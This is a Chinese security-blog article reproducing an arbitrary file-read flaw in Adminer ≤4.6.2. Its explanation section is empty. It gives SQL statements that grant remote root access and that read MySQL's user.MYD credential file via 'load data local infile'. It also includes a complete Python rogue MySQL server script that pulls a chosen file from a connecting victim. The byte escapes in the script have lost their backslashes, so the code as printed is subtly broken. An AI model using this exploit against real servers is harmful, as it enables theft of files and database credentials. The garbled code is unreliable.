请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
0x01 前言
Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库,https://github.com/vrana/adminer 。
0x02 漏洞原理
0x03 漏洞复现
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
grant all privileges on *.* to 'root'@'%'; //MySQL8开启外链
root@kali:/tmp# python mysql_client.py "D:phpStudyPHPTutorialWWWav1.php"
create database adminer; //创建adminer数据库
use adminer; //进入adminer数据库
create table test(text text(4096)); //创建test数据表
执行以下SQL语句即可读取指定文件并将读取到的文件内容写入到刚创建的数据表里,不过得注意一下目标机的secure_file_priv选项,当它的值为null时就会读取不了文件了。
load data local infile "D:\phpStudy\PHPTutorial\MySQL\data\mysql\user.MYD" into table test FIELDS TERMINATED BY 'n';
select * from test; //查看test表内容
truncate table test; //清空test表内容
drop database adminer; //删除adminer数据库
0x04 利用程序
#coding=utf-8
import socket
import logging
import sys
logging.basicConfig(level=logging.DEBUG)
filename=sys.argv[1]
sv=socket.socket()
sv.setsockopt(1,2,1)
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()
0x05 参考链接
-
https://xz.aliyun.com/t/3973
-
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html
如果对你有所帮助,点个分享、赞、在看呗!
本文始发于微信公众号(潇湘信安):Adminer≤4.6.2任意文件读取漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论